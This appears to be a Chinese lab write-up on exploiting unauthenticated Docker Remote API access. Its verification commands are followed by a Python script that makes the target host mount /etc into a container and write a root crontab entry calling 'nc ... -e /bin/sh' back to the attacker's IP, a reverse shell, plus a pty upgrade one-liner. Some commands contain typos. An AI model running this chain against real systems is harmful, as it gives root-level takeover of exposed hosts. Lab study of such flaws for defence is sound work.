Docker-Api未授权访问

 · 2021-10-28 · 次阅读


BEN机搭建了一个环境:

image-20211028142832775

验证是否存在:

docker -H tcp://192.168.43.145 ps -a

如果存在就会看到目标的docker容器列表:

image-20211028150701168

哎呀。这个vulhub的下面没有。

远程查看存在的镜像:

docker -H tcp://192.168.43.145 images

下面这儿可以省略,没有写,写.ssh思路。直接跳转到利用shell脚本即可:

远程启动被攻击主机的docker容器,并挂载宿主机的目录,通过容器来修改宿主机的author ized_ keys文件,写入公钥。或者写入计划任务反弹shell:

docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash

shell脚本:

import docker

client = docker.DockerClient(base_url='http://192.168.43.145:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.43.133 8888 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

在kali上直接执行脚本,等一段时间shell就回来了:

这儿原理(其实就是解释python脚本编写思路:Docker随意启动一个容器(这里是远程连接让目标机器启动,不是自己本地启动容器),并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。)

image-20211028152721508

nc反弹回来变成交互shell:

python -c 'import pty;pty.spawn("/bin/bash")'